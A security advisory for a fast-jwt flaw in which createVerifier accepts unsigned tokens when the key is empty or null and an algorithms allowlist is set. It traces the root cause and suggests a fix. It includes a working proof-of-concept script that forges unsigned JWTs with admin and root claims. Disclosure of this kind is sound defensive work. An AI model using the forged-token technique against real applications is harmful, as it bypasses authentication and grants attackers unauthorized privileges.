CVE-2026-107720: fast-jwt: createVerifier accepts unsigned JWTs when key is '' or null and algorithms is explicitly set

Summary

createVerifier in fast-jwt ≤ 6.3.0 skips signature verification entirely when the key option is a falsy synchronous value ('' or null) and the algorithms option is set to a non-empty allowlist. An attacker who can present a JWT to the application — regardless of algorithm — can forge arbitrary claims without possessing any signing key.

Details

Root cause — four cooperating code paths:

A. Falsy sync keys bypass prepareKeyOrSecret

createVerifier branches on typeof key:

js const keyType = typeof key if (keyType !== 'string' && keyType !== 'object' && keyType !== 'function') { throw new TokenError(/ ... /) } if (key && keyType !== 'function') { key = prepareKeyOrSecret(key, hsAlgorithms.includes(availableAlgorithms[0])) }

When key is '' (string, falsy) or null (object, falsy) the outer type check passes but the if (key && ...) guard never calls prepareKeyOrSecret. The empty-secret rejection added in that function is therefore never reached for sync keys:

js function prepareKeyOrSecret(key, isSecret) { if (isSecret && key.length === 0) { throw new TokenError(TokenError.codes.invalidKey, 'The key cannot be an empty string or buffer.') } return isSecret ? createSecretKey(key) : createPublicKey(key) }

B. Explicit algorithms keeps an allowlist active with no key

When key is falsy, autodetection is skipped and the caller-supplied algorithms (e.g. ['HS256']) is retained in allowedAlgorithms. The verifier therefore accepts tokens whose header matches that list.

C. hasKey is false → missing signature is permitted

js const hasKey = key instanceof Buffer ? key.length : !!key

if (hasKey && !signature) { throw new TokenError(/ missingSignature /) } else if (!hasKey && signature) { throw new TokenError(/ missingKey /) } // !hasKey && !signature → fall through with NO crypto

An unsigned token (header.payload.) produces signature === '', which is falsy, so both branches are skipped.

D. Signature check is gated on signature being truthy

js if (signature && !verifySignature(header.alg, key, input, signature)) { throw new TokenError(/ invalidSignature /) }

Empty signature → condition is false → verifySignature is never called.

E. Signer / verifier asymmetry

- createSigner({ key: '' }) / key: null → rejected - createVerifier({ key: async () => '' }) → rejected (GHSA empty-secret tests) - createVerifier({ key: '' | null, algorithms: [...] }) → accepted, then verifies unsigned tokens

Ironically, the security best practice of setting algorithms enables the bypass. With algorithms omitted, allowedAlgorithms stays [] and every token fails closed.

Affected versions: confirmed on 6.3.0 (current main @ 378422c). This is an incomplete fix relative to the empty-secret hardening already applied for Buffer keys and async key functions (GHSA-gmvf lineage, PR #609).

PoC

bash cd /tmp && git clone --depth 1 https://github.com/nearform/fast-jwt.git && cd fast-jwt && npm install

js // poc-empty-key-bypass.js const { createVerifier } = require('.')

function unsigned(alg, claims) { const h = Buffer.from(JSON.stringify({ alg, typ: 'JWT' })).toString('base64url') const p = Buffer.from(JSON.stringify(claims)).toString('base64url') return ${h}.${p}. // trailing dot = empty signature }

const token = unsigned('HS256', { sub: 'attacker', admin: true, role: 'root' })

// Vulnerable: key '' + explicit algorithms allowlist const verify = createVerifier({ key: '', algorithms: ['HS256'] }) console.log(verify(token)) // → { sub: 'attacker', admin: true, role: 'root' }

// Also works for RS256 / ES256 / EdDSA allowlists and key: null console.log(createVerifier({ key: null, algorithms: ['RS256'] })(unsigned('RS256', { admin: true }))) // → { admin: true }

// Negative controls (correctly rejected): try { createVerifier({ key: 'secret', algorithms: ['HS256'] })(token) } catch (e) { console.log('non-empty key:', e.code) } // FASTJWTMISSINGSIGNATURE

try { createVerifier({ key: '' })(token) } catch (e) { console.log('empty key, no algorithms:', e.code) } // FASTJWTINVALIDALGORITHM

try { createVerifier({ key: Buffer.alloc(0), algorithms: ['HS256'] })(token) } catch (e) { console.log('empty Buffer:', e.code) } // FASTJWTINVALIDKEY

Expected: TokenError with code FASTJWTINVALIDKEY Actual: payload returned with no signature check

Impact

Full authentication / authorization bypass. Any application that:

1. Uses createVerifier with key: '' or key: null (common when a secret is read from an unset environment variable, e.g. process.env.JWTSECRET || ''), and 2. Sets algorithms to a non-empty allowlist (a recommended security practice),

will accept attacker-crafted JWTs with arbitrary claims. Claim checks (exp, allowedSub, etc.) still run; only signature verification is skipped.

Suggested fix

In createVerifier, fail closed before binding the verifier:

js if (keyType !== 'function') { if (key === null || key === '' || (Buffer.isBuffer(key) && key.length === 0)) { throw new TokenError(TokenError.codes.invalidKey, 'The key cannot be null, empty, or a zero-length buffer.') } }

Also guard the combination explicitly:

js if (!key && allowedAlgorithms.length > 0) { throw new TokenError(TokenError.codes.invalidKey, 'The key cannot be falsy when algorithms is set.') }

The async path (key function resolving to '') is already hardened via prepareKeyOrSecret and does not need to change.